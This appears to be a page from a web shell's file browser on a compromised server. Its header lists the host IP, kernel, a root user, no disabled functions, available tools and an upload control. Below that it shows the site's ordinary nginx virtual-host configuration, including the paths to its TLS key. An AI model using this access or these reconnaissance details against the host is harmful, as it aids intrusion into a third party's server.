| Server IP : 178.128.116.179 / Your IP : 216.73.216.206 Web Server : nginx/1.30.3 System : Linux glamautowash 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.4.22 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/root/etc/nginx/sites-enabled/ |
Upload File : |
# Define path to cache and memory zone. The memory zone should be unique.
# keys_zone=glamautowash.com:100m creates the memory zone and sets the maximum size in MBs.
# inactive=60m will remove cached items that haven't been accessed for 60 minutes or more.
fastcgi_cache_path /var/www/cache/glamautowash.com levels=1:2 keys_zone=glamautowash.com:100m inactive=60m;
server {
# Ports to listen on
listen 443 ssl;
listen [::]:443 ssl;
listen 443 quic;
listen [::]:443 quic;
http2 on;
# Server name to listen for
server_name glamautowash.com;
# Path to document root
root /var/www/html/glamautowash.com;
# Paths to certificate files.
ssl_certificate /etc/letsencrypt/live/glamautowash.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/glamautowash.com/privkey.pem;
# File to be used as index
index index.html index.php;
# Overrides logs defined in nginx.conf, allows per site logs.
access_log /var/log/nginx/glamautowash.com-access.log;
error_log /var/log/nginx/glamautowash.com-error.log;
# Default server block rules
include global/server/defaults.conf;
# Fastcgi cache rules
include global/server/fastcgi-cache.conf;
# SSL rules
include global/server/ssl.conf;
# Advertises support for HTTP/3
add_header Alt-Svc 'h3=":443"; ma=86400' always;
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
location ~ \.php$ {
try_files $uri =404;
include global/fastcgi-params.conf;
# Use the php pool defined in the upstream variable.
# See global/php-pool.conf for definition.
fastcgi_pass $upstream;
# Skip cache based on rules in global/server/fastcgi-cache.conf.
fastcgi_cache_bypass $skip_cache;
fastcgi_no_cache $skip_cache;
# Define memory zone for caching. Should match key_zone in fastcgi_cache_path above.
fastcgi_cache glamautowash.com;
# Define caching time.
fastcgi_cache_valid 200 301 60m;
}
}
# Redirect www to non-www
server {
listen 443 ssl;
listen [::]:443 ssl;
listen 443 quic;
listen [::]:443 quic;
http2 on;
server_name www.glamautowash.com;
# Paths to certificate files.
ssl_certificate /etc/letsencrypt/live/glamautowash.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/glamautowash.com/privkey.pem;
# Advertises support for HTTP/3
add_header Alt-Svc 'h3=":443"; ma=86400';
return 301 https://glamautowash.com$request_uri;
}
# Redirect http to https
server {
listen 80;
listen [::]:80;
server_name glamautowash.com www.glamautowash.com;
return 301 https://glamautowash.com$request_uri;
}